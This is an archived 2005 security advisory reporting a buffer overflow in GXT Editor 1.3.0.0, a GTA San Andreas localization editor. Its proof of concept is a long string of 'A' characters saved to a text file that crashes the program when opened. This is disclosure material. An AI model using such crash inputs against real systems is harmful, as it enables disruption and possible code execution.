[NT] GXT Editor Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 08/02/05

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Date: 2 Aug 2005 17:58:00 +0200

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      GXT Editor Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    GXT Editor is a program that allow you to edit localization files for GTA
    San Andreas.

    Lack of proper length validation allows attackers to cause a buffer
    overflow and execute arbitrary code in GXT editor.

    DETAILS

    Vulnerable Systems:
     * GXT Editor version 1.3.0.0

    A buffer overflow vulnerability occurs when a string with length of 5870
    characters is given to the program application.

    Proof of Concept:
    Go to directory GXT Editor (C:\Program Files\GTA3Mods - GXT Editor) and
    create a file. Open this file using notepad and write an arbitrarily long
    string and save it as .txt or any file type, for example:

    test.txt:
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    ..

    Then open the test.txt file with the GXT editor, and the buffer overflow
    will occur.

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:basher13@linuxmail.org> Eric
    Basher.
    The original article can be found at:
    <http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=78> http://k.domaindlx.com/shellcore/advisories.asp?bug_report=display&infamous_group=78

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